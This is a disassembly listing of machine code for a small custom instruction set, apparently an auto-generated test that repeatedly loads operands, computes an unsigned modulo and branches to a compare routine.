8c60: 14 30 dc ec br 10 <compare>,#al
8c64: 00 10 00 41 add r2,1
8c68: 0d 41 59 04 wl16 r8,0xac4
8c6c: 0d 60 01 03 wh16 r8,0x3
8c70: 10 40 01 08 ld32 r8,r8
8c74: 0d 43 7a 00 wl16 r16,0x1bc0
8c78: 0d 60 02 03 wh16 r16,0x3
8c7c: 10 40 02 10 ld32 r16,r16
8c80: 0d 45 95 3c wl16 r9,0x2cbc
8c84: 0d 60 01 23 wh16 r9,0x3
8c88: 10 40 01 29 ld32 r9,r9
8c8c: 00 a0 01 10 umod r8,r16
8c90: 20 70 03 e2 movepc rret,8
8c94: 14 30 dc df br 10 <compare>,#al
8c98: 00 10 00 41 add r2,1
8c9c: 0d 41 59 08 wl16 r8,0xac8
8ca0: 0d 60 01 03 wh16 r8,0x3
8ca4: 10 40 01 08 ld32 r8,r8
8ca8: 0d 43 7a 04 wl16 r16,0x1bc4
8cac: 0d 60 02 03 wh16 r16,0x3
8cb0: 10 40 02 10 ld32 r16,r16
8cb4: 0d 45 99 20 wl16 r9,0x2cc0
8cb8: 0d 60 01 23 wh16 r9,0x3
8cbc: 10 40 01 29 ld32 r9,r9
8cc0: 00 a0 01 10 umod r8,r16
8cc4: 20 70 03 e2 movepc rret,8
8cc8: 14 30 dc d2 br 10 <compare>,#al
8ccc: 00 10 00 41 add r2,1
8cd0: 0d 41 59 0c wl16 r8,0xacc
8cd4: 0d 60 01 03 wh16 r8,0x3
8cd8: 10 40 01 08 ld32 r8,r8
8cdc: 0d 43 7a 08 wl16 r16,0x1bc8
8ce0: 0d 60 02 03 wh16 r16,0x3
8ce4: 10 40 02 10 ld32 r16,r16
8ce8: 0d 45 99 24 wl16 r9,0x2cc4
8cec: 0d 60 01 23 wh16 r9,0x3
8cf0: 10 40 01 29 ld32 r9,r9
8cf4: 00 a0 01 10 umod r8,r16
8cf8: 20 70 03 e2 movepc rret,8
8cfc: 14 30 dc c5 br 10 <compare>,#al
8d00: 00 10 00 41 add r2,1
8d04: 0d 41 59 10 wl16 r8,0xad0
8d08: 0d 60 01 03 wh16 r8,0x3
8d0c: 10 40 01 08 ld32 r8,r8
8d10: 0d 43 7a 0c wl16 r16,0x1bcc
8d14: 0d 60 02 03 wh16 r16,0x3
8d18: 10 40 02 10 ld32 r16,r16
8d1c: 0d 45 99 28 wl16 r9,0x2cc8
8d20: 0d 60 01 23 wh16 r9,0x3
8d24: 10 40 01 29 ld32 r9,r9
8d28: 00 a0 01 10 umod r8,r16
8d2c: 20 70 03 e2 movepc rret,8
8d30: 14 30 dc b8 br 10 <compare>,#al
8d34: 00 10 00 41 add r2,1
8d38: 0d 41 59 14 wl16 r8,0xad4
8d3c: 0d 60 01 03 wh16 r8,0x3
8d40: 10 40 01 08 ld32 r8,r8
8d44: 0d 43 7a 10 wl16 r16,0x1bd0
8d48: 0d 60 02 03 wh16 r16,0x3
8d4c: 10 40 02 10 ld32 r16,r16
8d50: 0d 45 99 2c wl16 r9,0x2ccc
8d54: 0d 60 01 23 wh16 r9,0x3
8d58: 10 40 01 29 ld32 r9,r9
8d5c: 00 a0 01 10 umod r8,r16
8d60: 20 70 03 e2 movepc rret,8
8d64: 14 30 dc ab br 10 <compare>,#al
8d68: 00 10 00 41 add r2,1
8d6c: 0d 41 59 18 wl16 r8,0xad8
8d70: 0d 60 01 03 wh16 r8,0x3
8d74: 10 40 01 08 ld32 r8,r8
8d78: 0d 43 7a 14 wl16 r16,0x1bd4
8d7c: 0d 60 02 03 wh16 r16,0x3
8d80: 10 40 02 10 ld32 r16,r16
8d84: 0d 45 99 30 wl16 r9,0x2cd0
8d88: 0d 60 01 23 wh16 r9,0x3
8d8c: 10 40 01 29 ld32 r9,r9
8d90: 00 a0 01 10 umod r8,r16
8d94: 20 70 03 e2 movepc rret,8
8d98: 14 30 dc 9e br 10 <compare>,#al
8d9c: 00 10 00 41 add r2,1
8da0: 0d 41 59 1c wl16 r8,0xadc
8da4: 0d 60 01 03 wh16 r8,0x3
8da8: 10 40 01 08 ld32 r8,r8
8dac: 0d 43 7a 18 wl16 r16,0x1bd8
8db0: 0d 60 02 03 wh16 r16,0x3
8db4: 10 40 02 10 ld32 r16,r16
8db8: 0d 45 99 34 wl16 r9,0x2cd4
8dbc: 0d 60 01 23 wh16 r9,0x3
8dc0: 10 40 01 29 ld32 r9,r9
8dc4: 00 a0 01 10 umod r8,r16
8dc8: 20 70 03 e2 movepc rret,8
8dcc: 14 30 dc 91 br 10 <compare>,#al
8dd0: 00 10 00 41 add r2,1
8dd4: 0d 41 5d 00 wl16 r8,0xae0
8dd8: 0d 60 01 03 wh16 r8,0x3
8ddc: 10 40 01 08 ld32 r8,r8
8de0: 0d 43 7a 1c wl16 r16,0x1bdc
8de4: 0d 60 02 03 wh16 r16,0x3
8de8: 10 40 02 10 ld32 r16,r16
8dec: 0d 45 99 38 wl16 r9,0x2cd8
8df0: 0d 60 01 23 wh16 r9,0x3
8df4: 10 40 01 29 ld32 r9,r9
8df8: 00 a0 01 10 umod r8,r16
8dfc: 20 70 03 e2 movepc rret,8
8e00: 14 30 dc 84 br 10 <compare>,#al
8e04: 00 10 00 41 add r2,1
8e08: 0d 41 5d 04 wl16 r8,0xae4
8e0c: 0d 60 01 03 wh16 r8,0x3
8e10: 10 40 01 08 ld32 r8,r8
8e14: 0d 43 7e 00 wl16 r16,0x1be0
8e18: 0d 60 02 03 wh16 r16,0x3
8e1c: 10 40 02 10 ld32 r16,r16
8e20: 0d 45 99 3c wl16 r9,0x2cdc
8e24: 0d 60 01 23 wh16 r9,0x3
8e28: 10 40 01 29 ld32 r9,r9
8e2c: 00 a0 01 10 umod r8,r16
8e30: 20 70 03 e2 movepc rret,8
8e34: 14 30 dc 77 br 10 <compare>,#al
8e38: 00 10 00 41 add r2,1
8e3c: 0d 41 5d 08 wl16 r8,0xae8
8e40: 0d 60 01 03 wh16 r8,0x3
8e44: 10 40 01 08 ld32 r8,r8
8e48: 0d 43 7e 04 wl16 r16,0x1be4
8e4c: 0d 60 02 03 wh16 r16,0x3
8e50: 10 40 02 10 ld32 r16,r16
8e54: 0d 45 9d 20 wl16 r9,0x2ce0
8e58: 0d 60 01 23 wh16 r9,0x3
8e5c: 10 40 01 29 ld32 r9,r9
8e60: 00 a0 01 10 umod r8,r16
8e64: 20 70 03 e2 movepc rret,8
8e68: 14 30 dc 6a br 10 <compare>,#al
8e6c: 00 10 00 41 add r2,1
8e70: 0d 41 5d 0c wl16 r8,0xaec
8e74: 0d 60 01 03 wh16 r8,0x3
8e78: 10 40 01 08 ld32 r8,r8
8e7c: 0d 43 7e 08 wl16 r16,0x1be8
8e80: 0d 60 02 03 wh16 r16,0x3
8e84: 10 40 02 10 ld32 r16,r16
8e88: 0d 45 9d 24 wl16 r9,0x2ce4
8e8c: 0d 60 01 23 wh16 r9,0x3
8e90: 10 40 01 29 ld32 r9,r9
8e94: 00 a0 01 10 umod r8,r16
8e98: 20 70 03 e2 movepc rret,8
8e9c: 14 30 dc 5d br 10 <compare>,#al
8ea0: 00 10 00 41 add r2,1
8ea4: 0d 41 5d 10 wl16 r8,0xaf0
8ea8: 0d 60 01 03 wh16 r8,0x3
8eac: 10 40 01 08 ld32 r8,r8
8eb0: 0d 43 7e 0c wl16 r16,0x1bec
8eb4: 0d 60 02 03 wh16 r16,0x3
8eb8: 10 40 02 10 ld32 r16,r16
8ebc: 0d 45 9d 28 wl16 r9,0x2ce8
8ec0: 0d 60 01 23 wh16 r9,0x3
8ec4: 10 40 01 29 ld32 r9,r9
8ec8: 00 a0 01 10 umod r8,r16
8ecc: 20 70 03 e2 movepc rret,8
8ed0: 14 30 dc 50 br 10 <compare>,#al
8ed4: 00 10 00 41 add r2,1
8ed8: 0d 41 5d 14 wl16 r8,0xaf4
8edc: 0d 60 01 03 wh16 r8,0x3
8ee0: 10 40 01 08 ld32 r8,r8
8ee4: 0d 43 7e 10 wl16 r16,0x1bf0
8ee8: 0d 60 02 03 wh16 r16,0x3
8eec: 10 40 02 10 ld32 r16,r16
8ef0: 0d 45 9d 2c wl16 r9,0x2cec
8ef4: 0d 60 01 23 wh16 r9,0x3
8ef8: 10 40 01 29 ld32 r9,r9
8efc: 00 a0 01 10 umod r8,r16
8f00: 20 70 03 e2 movepc rret,8
8f04: 14 30 dc 43 br 10 <compare>,#al
8f08: 00 10 00 41 add r2,1
8f0c: 0d 41 5d 18 wl16 r8,0xaf8
8f10: 0d 60 01 03 wh16 r8,0x3
8f14: 10 40 01 08 ld32 r8,r8
8f18: 0d 43 7e 14 wl16 r16,0x1bf4
8f1c: 0d 60 02 03 wh16 r16,0x3
8f20: 10 40 02 10 ld32 r16,r16
8f24: 0d 45 9d 30 wl16 r9,0x2cf0
8f28: 0d 60 01 23 wh16 r9,0x3
8f2c: 10 40 01 29 ld32 r9,r9
8f30: 00 a0 01 10 umod r8,r16
8f34: 20 70 03 e2 movepc rret,8
8f38: 14 30 dc 36 br 10 <compare>,#al
8f3c: 00 10 00 41 add r2,1
8f40: 0d 41 5d 1c wl16 r8,0xafc
8f44: 0d 60 01 03 wh16 r8,0x3
8f48: 10 40 01 08 ld32 r8,r8
8f4c: 0d 43 7e 18 wl16 r16,0x1bf8
8f50: 0d 60 02 03 wh16 r16,0x3
8f54: 10 40 02 10 ld32 r16,r16
8f58: 0d 45 9d 34 wl16 r9,0x2cf4
8f5c: 0d 60 01 23 wh16 r9,0x3
8f60: 10 40 01 29 ld32 r9,r9
8f64: 00 a0 01 10 umod r8,r16
8f68: 20 70 03 e2 movepc rret,8
8f6c: 14 30 dc 29 br 10 <compare>,#al
8f70: 00 10 00 41 add r2,1
8f74: 0d 41 61 00 wl16 r8,0xb00
8f78: 0d 60 01 03 wh16 r8,0x3
8f7c: 10 40 01 08 ld32 r8,r8
8f80: 0d 43 7e 1c wl16 r16,0x1bfc
8f84: 0d 60 02 03 wh16 r16,0x3
8f88: 10 40 02 10 ld32 r16,r16
8f8c: 0d 45 9d 38 wl16 r9,0x2cf8
8f90: 0d 60 01 23 wh16 r9,0x3
8f94: 10 40 01 29 ld32 r9,r9
8f98: 00 a0 01 10 umod r8,r16
8f9c: 20 70 03 e2 movepc rret,8
8fa0: 14 30 dc 1c br 10 <compare>,#al
8fa4: 00 10 00 41 add r2,1
8fa8: 0d 41 61 04 wl16 r8,0xb04
8fac: 0d 60 01 03 wh16 r8,0x3
8fb0: 10 40 01 08 ld32 r8,r8
8fb4: 0d 43 82 00 wl16 r16,0x1c00
8fb8: 0d 60 02 03 wh16 r16,0x3
8fbc: 10 40 02 10 ld32 r16,r16
8fc0: 0d 45 9d 3c wl16 r9,0x2cfc
8fc4: 0d 60 01 23 wh16 r9,0x3
8fc8: 10 40 01 29 ld32 r9,r9
8fcc: 00 a0 01 10 umod r8,r16
8fd0: 20 70 03 e2 movepc rret,8
8fd4: 14 30 dc 0f br 10 <compare>,#al
8fd8: 00 10 00 41 add r2,1
8fdc: 0d 41 61 08 wl16 r8,0xb08
8fe0: 0d 60 01 03 wh16 r8,0x3
8fe4: 10 40 01 08 ld32 r8,r8
8fe8: 0d 43 82 04 wl16 r16,0x1c04
8fec: 0d 60 02 03 wh16 r16,0x3
8ff0: 10 40 02 10 ld32 r16,r16
8ff4: 0d 45 a1 20 wl16 r9,0x2d00
8ff8: 0d 60 01 23 wh16 r9,0x3
8ffc: 10 40 01 29 ld32 r9,r9
9000: 00 a0 01 10 umod r8,r16
9004: 20 70 03 e2 movepc rret,8
9008: 14 30 dc 02 br 10 <compare>,#al
900c: 00 10 00 41 add r2,1
9010: 0d 41 61 0c wl16 r8,0xb0c
9014: 0d 60 01 03 wh16 r8,0x3
9018: 10 40 01 08 ld32 r8,r8
901c: 0d 43 82 08 wl16 r16,0x1c08
9020: 0d 60 02 03 wh16 r16,0x3
9024: 10 40 02 10 ld32 r16,r16
9028: 0d 45 a1 24 wl16 r9,0x2d04
902c: 0d 60 01 23 wh16 r9,0x3
9030: 10 40 01 29 ld32 r9,r9
9034: 00 a0 01 10 umod r8,r16
9038: 20 70 03 e2 movepc rret,8
903c: 14 30 db f5 br 10 <compare>,#al
9040: 00 10 00 41 add r2,1
9044: 0d 41 61 10 wl16 r8,0xb10
9048: 0d 60 01 03 wh16 r8,0x3
904c: 10 40 01 08 ld32 r8,r8
9050: 0d 43 82 0c wl16 r16,0x1c0c
9054: 0d 60 02 03 wh16 r16,0x3
9058: 10 40 02 10 ld32 r16,r16
905c: 0d 45 a1 28 wl16 r9,0x2d08
9060: 0d 60 01 23 wh16 r9,0x3
9064: 10 40 01 29 ld32 r9,r9
9068: 00 a0 01 10 umod r8,r16
906c: 20 70 03 e2 movepc rret,8
9070: 14 30 db e8 br 10 <compare>,#al
9074: 00 10 00 41 add r2,1
9078: 0d 41 61 14 wl16 r8,0xb14
907c: 0d 60 01 03 wh16 r8,0x3
9080: 10 40 01 08 ld32 r8,r8
9084: 0d 43 82 10 wl16 r16,0x1c10
9088: 0d 60 02 03 wh16 r16,0x3
908c: 10 40 02 10 ld32 r16,r16
9090: 0d 45 a1 2c wl16 r9,0x2d0c
9094: 0d 60 01 23 wh16 r9,0x3
9098: 10 40 01 29 ld32 r9,r9
909c: 00 a0 01 10 umod r8,r16
90a0: 20 70 03 e2 movepc rret,8
90a4: 14 30 db db br 10 <compare>,#al
90a8: 00 10 00 41 add r2,1
90ac: 0d 41 61 18 wl16 r8,0xb18
90b0: 0d 60 01 03 wh16 r8,0x3
90b4: 10 40 01 08 ld32 r8,r8
90b8: 0d 43 82 14 wl16 r16,0x1c14
90bc: 0d 60 02 03 wh16 r16,0x3
90c0: 10 40 02 10 ld32 r16,r16
90c4: 0d 45 a1 30 wl16 r9,0x2d10
90c8: 0d 60 01 23 wh16 r9,0x3
90cc: 10 40 01 29 ld32 r9,r9
90d0: 00 a0 01 10 umod r8,r16
90d4: 20 70 03 e2 movepc rret,8
90d8: 14 30 db ce br 10 <compare>,#al
90dc: 00 10 00 41 add r2,1
90e0: 0d 41 61 1c wl16 r8,0xb1c
90e4: 0d 60 01 03 wh16 r8,0x3
90e8: 10 40 01 08 ld32 r8,r8
90ec: 0d 43 82 18 wl16 r16,0x1c18
90f0: 0d 60 02 03 wh16 r16,0x3
90f4: 10 40 02 10 ld32 r16,r16
90f8: 0d 45 a1 34 wl16 r9,0x2d14
90fc: 0d 60 01 23 wh16 r9,0x3
9100: 10 40 01 29 ld32 r9,r9
9104: 00 a0 01 10 umod r8,r16
9108: 20 70 03 e2 movepc rret,8
910c: 14 30 db c1 br 10 <compare>,#al
9110: 00 10 00 41 add r2,1
9114: 0d 41 65 00 wl16 r8,0xb20
9118: 0d 60 01 03 wh16 r8,0x3
911c: 10 40 01 08 ld32 r8,r8
9120: 0d 43 82 1c wl16 r16,0x1c1c
9124: 0d 60 02 03 wh16 r16,0x3
9128: 10 40 02 10 ld32 r16,r16
912c: 0d 45 a1 38 wl16 r9,0x2d18
9130: 0d 60 01 23 wh16 r9,0x3
9134: 10 40 01 29 ld32 r9,r9
9138: 00 a0 01 10 umod r8,r16
913c: 20 70 03 e2 movepc rret,8
9140: 14 30 db b4 br 10 <compare>,#al
9144: 00 10 00 41 add r2,1
9148: 0d 41 65 04 wl16 r8,0xb24
914c: 0d 60 01 03 wh16 r8,0x3
9150: 10 40 01 08 ld32 r8,r8
9154: 0d 43 86 00 wl16 r16,0x1c20
9158: 0d 60 02 03 wh16 r16,0x3
915c: 10 40 02 10 ld32 r16,r16
9160: 0d 45 a1 3c wl16 r9,0x2d1c
9164: 0d 60 01 23 wh16 r9,0x3
9168: 10 40 01 29 ld32 r9,r9
916c: 00 a0 01 10 umod r8,r16
9170: 20 70 03 e2 movepc rret,8
9174: 14 30 db a7 br 10 <compare>,#al
9178: 00 10 00 41 add r2,1
917c: 0d 41 65 08 wl16 r8,0xb28
9180: 0d 60 01 03 wh16 r8,0x3
9184: 10 40 01 08 ld32 r8,r8
9188: 0d 43 86 04 wl16 r16,0x1c24
918c: 0d 60 02 03 wh16 r16,0x3
9190: 10 40 02 10 ld32 r16,r16
9194: 0d 45 a5 20 wl16 r9,0x2d20
9198: 0d 60 01 23 wh16 r9,0x3
919c: 10 40 01 29 ld32 r9,r9
91a0: 00 a0 01 10 umod r8,r16
91a4: 20 70 03 e2 movepc rret,8
91a8: 14 30 db 9a br 10 <compare>,#al
91ac: 00 10 00 41 add r2,1
91b0: 0d 41 65 0c wl16 r8,0xb2c
91b4: 0d 60 01 03 wh16 r8,0x3
91b8: 10 40 01 08 ld32 r8,r8
91bc: 0d 43 86 08 wl16 r16,0x1c28
91c0: 0d 60 02 03 wh16 r16,0x3
91c4: 10 40 02 10 ld32 r16,r16
91c8: 0d 45 a5 24 wl16 r9,0x2d24
91cc: 0d 60 01 23 wh16 r9,0x3
91d0: 10 40 01 29 ld32 r9,r9
91d4: 00 a0 01 10 umod r8,r16
91d8: 20 70 03 e2 movepc rret,8
91dc: 14 30 db 8d br 10 <compare>,#al
91e0: 00 10 00 41 add r2,1
91e4: 0d 41 65 10 wl16 r8,0xb30
91e8: 0d 60 01 03 wh16 r8,0x3
91ec: 10 40 01 08 ld32 r8,r8
91f0: 0d 43 86 0c wl16 r16,0x1c2c
91f4: 0d 60 02 03 wh16 r16,0x3
91f8: 10 40 02 10 ld32 r16,r16
91fc: 0d 45 a5 28 wl16 r9,0x2d28
9200: 0d 60 01 23 wh16 r9,0x3
9204: 10 40 01 29 ld32 r9,r9
9208: 00 a0 01 10 umod r8,r16
920c: 20 70 03 e2 movepc rret,8
9210: 14 30 db 80 br 10 <compare>,#al
9214: 00 10 00 41 add r2,1
9218: 0d 41 65 14 wl16 r8,0xb34
921c: 0d 60 01 03 wh16 r8,0x3
9220: 10 40 01 08 ld32 r8,r8
9224: 0d 43 86 10 wl16 r16,0x1c30
9228: 0d 60 02 03 wh16 r16,0x3
922c: 10 40 02 10 ld32 r16,r16
9230: 0d 45 a5 2c wl16 r9,0x2d2c
9234: 0d 60 01 23 wh16 r9,0x3
9238: 10 40 01 29 ld32 r9,r9
923c: 00 a0 01 10 umod r8,r16
9240: 20 70 03 e2 movepc rret,8
9244: 14 30 db 73 br 10 <compare>,#al
9248: 00 10 00 41 add r2,1
924c: 0d 41 65 18 wl16 r8,0xb38
9250: 0d 60 01 03 wh16 r8,0x3
9254: 10 40 01 08 ld32 r8,r8
9258: 0d 43 86 14 wl16 r16,0x1c34
925c: 0d 60 02 03 wh16 r16,0x3
9260: 10 40 02 10 ld32 r16,r16
9264: 0d 45 a5 30 wl16 r9,0x2d30
9268: 0d 60 01 23 wh16 r9,0x3
926c: 10 40 01 29 ld32 r9,r9
9270: 00 a0 01 10 umod r8,r16
9274: 20 70 03 e2 movepc rret,8
9278: 14 30 db 66 br 10 <compare>,#al
927c: 00 10 00 41 add r2,1
9280: 0d 41 65 1c wl16 r8,0xb3c
9284: 0d 60 01 03 wh16 r8,0x3
9288: 10 40 01 08 ld32 r8,r8
928c: 0d 43 86 18 wl16 r16,0x1c38
9290: 0d 60 02 03 wh16 r16,0x3
9294: 10 40 02 10 ld32 r16,r16
9298: 0d 45 a5 34 wl16 r9,0x2d34
929c: 0d 60 01 23 wh16 r9,0x3
92a0: 10 40 01 29 ld32 r9,r9
92a4: 00 a0 01 10 umod r8,r16
92a8: 20 70 03 e2 movepc rret,8
92ac: 14 30 db 59 br 10 <compare>,#al
92b0: 00 10 00 41 add r2,1
92b4: 0d 41 69 00 wl16 r8,0xb40
92b8: 0d 60 01 03 wh16 r8,0x3
92bc: 10 40 01 08 ld32 r8,r8
92c0: 0d 43 86 1c wl16 r16,0x1c3c
92c4: 0d 60 02 03 wh16 r16,0x3
92c8: 10 40 02 10 ld32 r16,r16
92cc: 0d 45 a5 38 wl16 r9,0x2d38
92d0: 0d 60 01 23 wh16 r9,0x3
92d4: 10 40 01 29 ld32 r9,r9
92d8: 00 a0 01 10 umod r8,r16
92dc: 20 70 03 e2 movepc rret,8
92e0: 14 30 db 4c br 10 <compare>,#al
92e4: 00 10 00 41 add r2,1
92e8: 0d 41 69 04 wl16 r8,0xb44
92ec: 0d 60 01 03 wh16 r8,0x3
92f0: 10 40 01 08 ld32 r8,r8
92f4: 0d 43 8a 00 wl16 r16,0x1c40
92f8: 0d 60 02 03 wh16 r16,0x3
92fc: 10 40 02 10 ld32 r16,r16
9300: 0d 45 a5 3c wl16 r9,0x2d3c
9304: 0d 60 01 23 wh16 r9,0x3
9308: 10 40 01 29 ld32 r9,r9
930c: 00 a0 01 10 umod r8,r16
9310: 20 70 03 e2 movepc rret,8
9314: 14 30 db 3f br 10 <compare>,#al
9318: 00 10 00 41 add r2,1
931c: 0d 41 69 08 wl16 r8,0xb48
9320: 0d 60 01 03 wh16 r8,0x3
9324: 10 40 01 08 ld32 r8,r8
9328: 0d 43 8a 04 wl16 r16,0x1c44
932c: 0d 60 02 03 wh16 r16,0x3
9330: 10 40 02 10 ld32 r16,r16
9334: 0d 45 a9 20 wl16 r9,0x2d40
9338: 0d 60 01 23 wh16 r9,0x3
933c: 10 40 01 29 ld32 r9,r9
9340: 00 a0 01 10 umod r8,r16
9344: 20 70 03 e2 movepc rret,8
9348: 14 30 db 32 br 10 <compare>,#al
934c: 00 10 00 41 add r2,1
9350: 0d 41 69 0c wl16 r8,0xb4c
9354: 0d 60 01 03 wh16 r8,0x3
9358: 10 40 01 08 ld32 r8,r8
935c: 0d 43 8a 08 wl16 r16,0x1c48
9360: 0d 60 02 03 wh16 r16,0x3
9364: 10 40 02 10 ld32 r16,r16
9368: 0d 45 a9 24 wl16 r9,0x2d44
936c: 0d 60 01 23 wh16 r9,0x3
9370: 10 40 01 29 ld32 r9,r9
9374: 00 a0 01 10 umod r8,r16
9378: 20 70 03 e2 movepc rret,8
937c: 14 30 db 25 br 10 <compare>,#al
9380: 00 10 00 41 add r2,1
9384: 0d 41 69 10 wl16 r8,0xb50
9388: 0d 60 01 03 wh16 r8,0x3
938c: 10 40 01 08 ld32 r8,r8
9390: 0d 43 8a 0c wl16 r16,0x1c4c
9394: 0d 60 02 03 wh16 r16,0x3
9398: 10 40 02 10 ld32 r16,r16
939c: 0d 45 a9 28 wl16 r9,0x2d48
93a0: 0d 60 01 23 wh16 r9,0x3
93a4: 10 40 01 29 ld32 r9,r9
93a8: 00 a0 01 10 umod r8,r16
93ac: 20 70 03 e2 movepc rret,8
93b0: 14 30 db 18 br 10 <compare>,#al
93b4: 00 10 00 41 add r2,1
93b8: 0d 41 69 14 wl16 r8,0xb54
93bc: 0d 60 01 03 wh16 r8,0x3
93c0: 10 40 01 08 ld32 r8,r8
93c4: 0d 43 8a 10 wl16 r16,0x1c50
93c8: 0d 60 02 03 wh16 r16,0x3
93cc: 10 40 02 10 ld32 r16,r16
93d0: 0d 45 a9 2c wl16 r9,0x2d4c
93d4: 0d 60 01 23 wh16 r9,0x3
93d8: 10 40 01 29 ld32 r9,r9
93dc: 00 a0 01 10 umod r8,r16
93e0: 20 70 03 e2 movepc rret,8
93e4: 14 30 db 0b br 10 <compare>,#al
93e8: 00 10 00 41 add r2,1
93ec: 0d 41 69 18 wl16 r8,0xb58
93f0: 0d 60 01 03 wh16 r8,0x3
93f4: 10 40 01 08 ld32 r8,r8
93f8: 0d 43 8a 14 wl16 r16,0x1c54
93fc: 0d 60 02 03 wh16 r16,0x3
9400: 10 40 02 10 ld32 r16,r16
9404: 0d 45 a9 30 wl16 r9,0x2d50
9408: 0d 60 01 23 wh16 r9,0x3
940c: 10 40 01 29 ld32 r9,r9
9410: 00 a0 01 10 umod r8,r16
9414: 20 70 03 e2 movepc rret,8
9418: 14 30 da fe br 10 <compare>,#al
941c: 00 10 00 41 add r2,1
9420: 0d 41 69 1c wl16 r8,0xb5c
9424: 0d 60 01 03 wh16 r8,0x3
9428: 10 40 01 08 ld32 r8,r8
942c: 0d 43 8a 18 wl16 r16,0x1c58
9430: 0d 60 02 03 wh16 r16,0x3
9434: 10 40 02 10 ld32 r16,r16
9438: 0d 45 a9 34 wl16 r9,0x2d54
943c: 0d 60 01 23 wh16 r9,0x3
9440: 10 40 01 29 ld32 r9,r9
9444: 00 a0 01 10 umod r8,r16
9448: 20 70 03 e2 movepc rret,8
944c: 14 30 da f1 br 10 <compare>,#al
9450: 00 10 00 41 add r2,1
9454: 0d 41 6d 00 wl16 r8,0xb60
9458: 0d 60 01 03 wh16 r8,0x3
945c: 10 40 01 08 ld32 r8,r8
9460: 0d 43 8a 1c wl16 r16,0x1c5c
9464: 0d 60 02 03 wh16 r16,0x3
9468: 10 40 02 10 ld32 r16,r16
946c: 0d 45 a9 38 wl16 r9,0x2d58
9470: 0d 60 01 23 wh16 r9,0x3
9474: 10 40 01 29 ld32 r9,r9
9478: 00 a0 01 10 umod r8,r16
947c: 20 70 03 e2 movepc rret,8
9480: 14 30 da e4 br 10 <compare>,#al
9484: 00 10 00 41 add r2,1
9488: 0d 41 6d 04 wl16 r8,0xb64
948c: 0d 60 01 03 wh16 r8,0x3
9490: 10 40 01 08 ld32 r8,r8
9494: 0d 43 8e 00 wl16 r16,0x1c60
9498: 0d 60 02 03 wh16 r16,0x3
949c: 10 40 02 10 ld32 r16,r16
94a0: 0d 45 a9 3c wl16 r9,0x2d5c
94a4: 0d 60 01 23 wh16 r9,0x3
94a8: 10 40 01 29 ld32 r9,r9
94ac: 00 a0 01 10 umod r8,r16
94b0: 20 70 03 e2 movepc rret,8
94b4: 14 30 da d7 br 10 <compare>,#al
94b8: 00 10 00 41 add r2,1
94bc: 0d 41 6d 08 wl16 r8,0xb68
94c0: 0d 60 01 03 wh16 r8,0x3
94c4: 10 40 01 08 ld32 r8,r8
94c8: 0d 43 8e 04 wl16 r16,0x1c64
94cc: 0d 60 02 03 wh16 r16,0x3
94d0: 10 40 02 10 ld32 r16,r16
94d4: 0d 45 ad 20 wl16 r9,0x2d60
94d8: 0d 60 01 23 wh16 r9,0x3
94dc: 10 40 01 29 ld32 r9,r9
94e0: 00 a0 01 10 umod r8,r16
94e4: 20 70 03 e2 movepc rret,8
94e8: 14 30 da ca br 10 <compare>,#al
94ec: 00 10 00 41 add r2,1
94f0: 0d 41 6d 0c wl16 r8,0xb6c
94f4: 0d 60 01 03 wh16 r8,0x3
94f8: 10 40 01 08 ld32 r8,r8
94fc: 0d 43 8e 08 wl16 r16,0x1c68
9500: 0d 60 02 03 wh16 r16,0x3
9504: 10 40 02 10 ld32 r16,r16
9508: 0d 45 ad 24 wl16 r9,0x2d64
950c: 0d 60 01 23 wh16 r9,0x3
9510: 10 40 01 29 ld32 r9,r9
9514: 00 a0 01 10 umod r8,r16
9518: 20 70 03 e2 movepc rret,8
951c: 14 30 da bd br 10 <compare>,#al
9520: 00 10 00 41 add r2,1
9524: 0d 41 6d 10 wl16 r8,0xb70
9528: 0d 60 01 03 wh16 r8,0x3
952c: 10 40 01 08 ld32 r8,r8
9530: 0d 43 8e 0c wl16 r16,0x1c6c
9534: 0d 60 02 03 wh16 r16,0x3
9538: 10 40 02 10 ld32 r16,r16
953c: 0d 45 ad 28 wl16 r9,0x2d68
9540: 0d 60 01 23 wh16 r9,0x3
9544: 10 40 01 29 ld32 r9,r9
9548: 00 a0 01 10 umod r8,r16
954c: 20 70 03 e2 movepc rret,8
9550: 14 30 da b0 br 10 <compare>,#al
9554: 00 10 00 41 add r2,1
9558: 0d 41 6d 14 wl16 r8,0xb74
955c: 0d 60 01 03 wh16 r8,0x3
9560: 10 40 01 08 ld32 r8,r8
9564: 0d 43 8e 10 wl16 r16,0x1c70
9568: 0d 60 02 03 wh16 r16,0x3
956c: 10 40 02 10 ld32 r16,r16
9570: 0d 45 ad 2c wl16 r9,0x2d6c
9574: 0d 60 01 23 wh16 r9,0x3
9578: 10 40 01 29 ld32 r9,r9
957c: 00 a0 01 10 umod r8,r16
9580: 20 70 03 e2 movepc rret,8
9584: 14 30 da a3 br 10 <compare>,#al
9588: 00 10 00 41 add r2,1
958c: 0d 41 6d 18 wl16 r8,0xb78
9590: 0d 60 01 03 wh16 r8,0x3
9594: 10 40 01 08 ld32 r8,r8
9598: 0d 43 8e 14 wl16 r16,0x1c74
959c: 0d 60 02 03 wh16 r16,0x3
95a0: 10 40 02 10 ld32 r16,r16
95a4: 0d 45 ad 30 wl16 r9,0x2d70
95a8: 0d 60 01 23 wh16 r9,0x3
95ac: 10 40 01 29 ld32 r9,r9
95b0: 00 a0 01 10 umod r8,r16
95b4: 20 70 03 e2 movepc rret,8
95b8: 14 30 da 96 br 10 <compare>,#al
95bc: 00 10 00 41 add r2,1
95c0: 0d 41 6d 1c wl16 r8,0xb7c
95c4: 0d 60 01 03 wh16 r8,0x3
95c8: 10 40 01 08 ld32 r8,r8
95cc: 0d 43 8e 18 wl16 r16,0x1c78
95d0: 0d 60 02 03 wh16 r16,0x3
95d4: 10 40 02 10 ld32 r16,r16
95d8: 0d 45 ad 34 wl16 r9,0x2d74
95dc: 0d 60 01 23 wh16 r9,0x3
95e0: 10 40 01 29 ld32 r9,r9
95e4: 00 a0 01 10 umod r8,r16
95e8: 20 70 03 e2 movepc rret,8
95ec: 14 30 da 89 br 10 <compare>,#al
95f0: 00 10 00 41 add r2,1
95f4: 0d 41 71 00 wl16 r8,0xb80
95f8: 0d 60 01 03 wh16 r8,0x3
95fc: 10 40 01 08 ld32 r8,r8
9600: 0d 43 8e 1c wl16 r16,0x1c7c
9604: 0d 60 02 03 wh16 r16,0x3
9608: 10 40 02 10 ld32 r16,r16
960c: 0d 45 ad 38 wl16 r9,0x2d78
9610: 0d 60 01 23 wh16 r9,0x3
9614: 10 40 01 29 ld32 r9,r9
9618: 00 a0 01 10 umod r8,r16
961c: 20 70 03 e2 movepc rret,8
